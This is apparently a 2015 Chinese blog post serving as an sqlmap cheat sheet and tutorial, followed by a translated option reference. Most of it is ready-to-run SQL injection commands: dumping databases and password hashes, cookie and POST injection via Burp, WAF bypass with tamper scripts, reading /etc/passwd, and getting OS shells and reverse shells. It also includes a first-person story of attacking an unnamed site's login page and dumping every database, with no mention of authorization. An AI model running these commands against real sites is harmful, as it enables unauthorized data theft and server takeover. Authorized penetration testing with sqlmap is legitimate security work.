sqlmap 使用方法

1. 基础用法:
 
./sqlmap.py -u “注入地址” -v 1 –dbs   // 列举数据库
./sqlmap.py -u “注入地址” -v 1 –current-db   // 当前数据库
./sqlmap.py -u “注入地址” -v 1 –users    // 列数据库用户
./sqlmap.py -u “注入地址” -v 1 –current-user  // 当前用户
./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库”   // 列举数据库的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库”   // 获取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列
 
已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、
 
2. sqlmap post注入
我们在使用Sqlmap进行post型注入时,
经常会出现请求遗漏导致注入失败的情况。
这里分享一个小技巧,即结合burpsuite来使用sqlmap,
用这种方法进行post注入测试会更准确,操作起来也非常容易。
1. 浏览器打开目标地址http:// www.2cto.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 如下图,这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下 
6. 运行sqlmap并使用如下命令:
./sqlmap.py -r search-test.txt -p tfUPass
 
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
而-p 大家应该比较熟悉,指定注入用的参数。
3,sqlmap  cookies注入
sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″  –dbs –level 2
2. 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 –level 2 即可
利用sqlmap cookies注入突破用户登录继续注入
先把用户登陆的cookie拿到吧,
在收藏夹添加一个链接cookies属性:
名字自己取
javascript:alert(document.cookie),,需要获取当前cookie的时候,
直接点一下这个链接,然后复制一下弹出对话框
里的cookie值就搞定了
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
-p是指指定参数注入
4. sqlmap遇到url重写的注入
哪里存在注入就加上 * 号
1
./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
5.sqlmap 编码绕waf注入
./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载
 
其他基础:
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db  #获取当前数据库名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables  -D “db_name” #列表名
sqlmap -u “http://url/news?id=1” –level=3 –smart  –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql”  –dump  -C “column_name”  -T “table_name” -D “db_name” -v 0   #获取字段内容
 
 
 
******************信息获取******************
sqlmap -u “ –smart –dbms “Mysql” –users  #列数据库用户  sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库  sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码  sqlmap -u “ –smart –dbms “Mysql”–passwords-U root  -v 0 #列出指定用户数据库密码  sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表   
sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限  sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限  sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员  sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色  sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)  
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表  
sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入  sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录  sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试  
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入  sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by  
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入  sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入  
sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息 
 
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型
sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“  #指定关键词
sqlmap -u “ –smart –dbms “Mysql”–sql-shell #执行指定sql命令  
sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd  sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令  sqlmap -u “ –smart –dbms “Mysql”–os-shell #系统交互shell  sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反弹shell  sqlmap -u “ –smart –dbms “Mysql”–reg-read #读取win系统注册表  sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度  sqlmap -u “ –smart –dbms “Mysql” –dbs  -o “sqlmap.log” –resume  #恢复已保存进度 
 
注入分法不同,种类不同,来个简单的分类:
1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” 
2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
3.cookie类注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2
好,区分完毕再来后续的
 需要数据库好:–dbs
得到数据库名称xxx,需要表: -D xxx –tables
得到表名xxxx,需要段:-D xxx -T xxxx –columns
得到段内有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump
那么我们来理解一下,-D -T -C 是干吗的,当然就是知道其名称,指定使用其。
–dbs –tables –columns 是干吗的,当然就是不知道名称,列出来呗
–dump 那自然就是字面意思,类似于导出数据的行为
 其实注入有了上面这几个命令,妥妥的够用了,不过还需要绕waf –tamper=”"
注入被识别出来是工具,断开咋办–user-agent=”"
再多牛逼的功能都是慢慢积累出来的,别想一口吃成胖子
 
好,跑数据库就是这么简单,于是呢来一个稍微有点干货的例子:
http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷贝post数据,很麻烦,我想让sqlmap自动跑post注入
sqlmap -u “http://www.xxx.com/login.asp” –forms
很好,上面的命令成功的帮我跑了post注入,并且找到了post的注入点jjj=123
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs
于是我用上面的命令看看数据库
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba
顺便看看当前用户是不是dba
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a 
用了上面的命令 -a能得到什么呢:自己去看帮助吧。
 帮你筛选了一下,-a下面的那些命令是用来看用户,看主机,看权限的。
 后来呢,我发现权限还是挺高的,同时呢,我跑出来了数据库名称kkk
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –tables
同时我找到了网站路径,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以执行系统命令,同时还发现了牛逼的xpcmdshell –os-shell
以及很多牛逼的文件操作命令–file-xx 这些命令在需要用的时候使用就是了,会给你带来意想不到的惊喜
 与此同时,我发现tables里面没有我想要的东西,我也找不到合适的内容,咋办呢,心一横,我决定把所有的数据库内容跑出来自己找,于是我这么做:
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –dump-all
然后牛逼的sqlmap就开始跑啊跑,然后紧接着我的蛋就碎了,尼玛,sqlmap一会就问你一次要不要破解密码,要不要这个,要不要那个,我和我的小朋友们都想擦你妹夫,功夫不负有心人,我又看见了一个命令 –batch 可以自动选择sqlmap默认选项
 于是,我可以和我的小朋友们玩耍去了,再也不用看着sqlmap拖库了。
 
总结下来,帮助文档还是很重要的,多看看,总会有些收获:
 为了避免各位看英文看到吐,大概总结下:
Target: 字面意思,目标,那么就是确定目标的
Request: 字面意思,请求,就是定义请求内容的,比如post数据,http头,cookie注入,http头污染等等
Optimization:字面意思,调节性能,等等
Injection: 字面意思,注入的设置内容基本在这里,比如指定注入点,指定db,指定系统,等等
Detection:
基本就是用在确认注入范围,寻找注入点区域,这些
Technique:
基本用在确定注入手段,以及攻击方式
Fingerprint:
基本用在指纹识别,用的很少
Enumeration:
枚举信息,主要用在注入中,很重要,很常用
Brute force:
用来爆破,其实主要是枚举tables columns用的
User-defined function injection:
现在只有udf提权,以及指定一些自己定义的sqlmap脚本用,高端使用,求大牛指点
File system access
主要是文件读取,文件写入
Operating system access 
主要用在对系统操作,例如os-shell 以及 后续的连接metasploit 实现后渗透攻击
windows registry access
基本就是注册表操作了
General
字面意思,综合的内容,一些特殊的功能实现,我在这里找到了crawl batch这些非常好用的参数
Miscellaneous
目测高端应用,还没怎么用过,求大神指教
 如上面总结的,大概红字就是常用的命令,剩下的不常用里面也有很多很不错,在特殊情况下适用的内容,反正本贴科普而已。
 
字有点多,想看的菜鸟朋友认真看下来应该会有些收获,菜鸟们如果有什么其他的奇技淫巧,还希望分享1、2 共同进步!!
SQLMAP中文说明
 
-D直接直接连接到数据库
   -U网址 - URL = URL目标URL
    -L使用burp,WebScarab代理日志解析目标保存在指定的文本文件
   -M BULKFILE扫描多个目标入伍
   -R REQUESTFILE负载的HTTP请求从一个文件
   -G读取谷歌url,传说中的批量检测
   -C从配置INI文件configfile中加载选项
 
 要求:
   这些选项可以用来指定如何连接到目标URL。
 
    --data=DATA通过POST发送数据串
    --cookie=COOKIE 的HTTP Cookie头
    --cookie-urlencode URL编码生成的cookie注射
    --drop-set-cookie忽略从Set-Cookie头的响应
    --user-agent=AGENT HTTP User-Agent头
    --random-agent 随机选择的HTTP User-Agent头
    --referer=REFERER  HTTP Referer头
    --headers=HEADERS HTTP头换行符隔开
    --auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)
    --auth-cred=ACRED的HTTP身份验证凭据(用户名:密码)
    --auth-cert=ACERT ACERT HTTP认证证书(key_file,cert_file中)
    --proxy=PROXY HTTP代理连接到目标URL
     --proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
    --ignore-proxy忽略HTTP代理
    --delay=DELAY每个HTTP请求之间的延迟
    --timeout=TIMEOUT 等待连接超时(默认30)
    --retries=RETRIES 重试连接超时(默认3)
    --scope=SCOPE 正则表达式来过滤目标提供代理日志
    --safe-url=SAFURL URL地址访问测试过程中经常
    --safe-freq=SAFREQ访问之间的一个给定的安全URL SAFREQ测试要求
 
 优化:
   这些选项可以用于优化性能的SqlMap。
 
   -O开启所有优化开关
    --predict-output 预测输出预测常见的查询输出
    --keep-alive    保持活动使用持久HTTP(S)连接
    --null-connection 空连接检索页面没有实际的HTTP响应体长度
    --threads=THREADS最大数量的并发HTTP(S)请求(默认为1)
 
 注射:
   这些选项可以用来指定哪些参数测试,
   提供定制注塑载荷和可选篡改脚本。
 
   -P TESTPARAMETER可测试参数(S)
    --dbms=DBMS指定数据库 
    --os=OS指定操作系统
    --prefix=PREFIX注射有效载荷前缀字符串
    --suffix=SUFFIX注射有效载荷后缀字符串
    --tamper=TAMPER篡改注入数据为使用给定的脚本(S)
 
 检测:
   这些选项可以用来指定如何解析和比较页面
   从HTTP响应时使用盲SQL注入技术的内容。
 
    --level=LEVEL要执行的测试水平等级(1-5,默认为1)
    --risk=RISK 测试执行的风险(0-3,默认为1)
    --string=STRING字符串匹配字符串在查询时是有效的页面
    --regexp=REGEXP的正则表达式匹配在页面查询时是有效的
    --text-only 纯文本比较只对文字内容为基础的网页
 
 技巧:
   这些选项可以用来调整特定的SQL注入测试
   技术。
 
    --technique=TECH SQL注入技术测试(默认博伊斯特)
    --time-sec=TIMESEC秒的拖延DBMS响应(默认为5)
    --union-cols=UCOLS列范围测试
    --union-char=UCHAR字符使用暴力破解的列数
 
 指纹:
   -f, --fingerprint 指纹进行广泛的DBMS版本指纹
 
 枚举:
   这些选项可以用来列举的后端数据库
   管理系统中所包含的信息,结构和数据
   表。此外,您可以运行您自己的SQL语句。
 
   -b,--banner数据库的旗帜
   --current-user数据库当前用户
   --current-db检索数据库当前数据库
   --is-dba 检测如果DBMS当前用户是DBA
     --users  枚举用户和DBMS用户
    --passwords  密码枚举DBMS用户密码哈希
    --privileges 特权列举数据库用户的权限
    --roles 角色枚举数据库用户的角色
    --dbs枚举的DBMS数据库
    --tables DBMS数据库表
    --columns DBMS数据库表列
    --schema枚举数据库模式
    --count检索表条目的数量
    --dump转储DBMS数据库表条目
    --dump-all全部转储所有的DBMS数据库表中的条目
    --search搜索列(S),表(S)和/或数据库名称(S)
    -D DBMS数据库枚举
    -T DBMS数据库表枚举
    -C DBMS的数据库表列列举
    -U用户DBMS用户枚举
    --exclude-sysdbs排除列举表时,DBMS系统数据库
    --start=LIMITSTART首先查询的输出项检索
    --stop=LIMITSTOP最后查询的输出项检索
    --first=FIRSTCHAR首先查询输出单词字符检索
    --last=LASTCHAR最后查询的输出单词字符检索
    --sql-query=QUERY执行查询的SQL语句
    --sql-shell提示下一个交互式SQL外壳
 
 蛮力:
   这些选项可以用来运行蛮力检查的。
 
    --common-tables 共同表检查存在共同表
    --common-columns 共同列检查存在共同的列
 
 用户定义的函数注入:
   这些选项可以被用来创建用户自定义功能。
 
    --udf-inject注入用户自定义功能
    --shared-lib=SHLIB本地路径的共享库
 
 文件系统的访问:
   这些选项可以被用来访问后端数据库管理
   系统底层的文件系统。
 
    --file-read=RFILE DBMS文件系统读取文件
    --file-write=WFILE写后端的DBMS文件系统上的本地文件
    --file-dest=DFILE后端数据库的绝对文件路径写入
 
 操作系统访问:
   这些选项可以被用来访问后端数据库管理
   系统底层操作系统。
 
    --os-cmd=OSCMD执行操作系统命令
    --os-shell提示符下交互式操作系统外壳
    --os-pwn提示为一个彻头彻尾的带外壳,meterpreter或VNC
     --os-smbrelay一个点击提示一个OOB壳,meterpreter或VNC
     --os-bof存储过程缓冲区溢出剥削
    --priv-esc数据库进程“用户权限升级
    --msf-path=MSFPATH本地路径Metasploit Framework等3安装
    --tmp-path=TMPPATH远程绝对路径的临时文件目录
 
 Windows注册表的访问:
   这些选项可以被用来访问后端数据库管理
   系统Windows注册表。
 
    --reg-read读Windows注册表项值
    --reg-add写一个Windows注册表项值数据
    --reg-delL删除Windows注册表键值
    --reg-key=REGKEY Windows注册表
    --reg-value=REGVAL Windows注册表键值
    --reg-data=REGDATA Windows注册表关键值数据
    --reg-type=REGTYPE Windows注册表项值类型
 
 秘书长:
   这些选项可以用来设置一些一般性的工作参数。
 
   -s 保存和恢复在会议文件中检索所有数据
   -t 登录到一个文本文件中所有的HTTP流量
   --batch 一批从不要求用户输入,使用的默认行为
   --charset=CHARSET字符编码,用于数据检索
   --eta显示预计到达时间为每个输出
   --flush-session  冲洗会议会话文件
   --fresh-queries在会议文件中存储的查询结果
   --save 配置INI文件保存选项
   --update更新的SqlMap
 
  杂项:
    --beep SQL注入发现
    --check-payload 检查有效载荷的IDS检测测试
    --cleanup清理SqlMap特定的UDF和表的DBMS
     --forms解析和测试形式的目标URL
     --gpage=GOOGLEPAGE使用Google从指定的页码dork结果
    --mobile通过HTTP User-Agent头
    --page-rank显示网页排名(PR)为Google dork结果
    --parse-errors解析DBMS响应页面的错误信息
    --replicate复制倒入一个SQLite3数据库中的数据
    --tor的使用默认的Tor(Vidalia的/ Privoxy的/ Polipo即可)代理地址
    --wizard向导为初学者用户简单的向导界面

 

posted @ 2015-03-20 16:13  ZEro's  阅读(741)  评论(0编辑  收藏  举报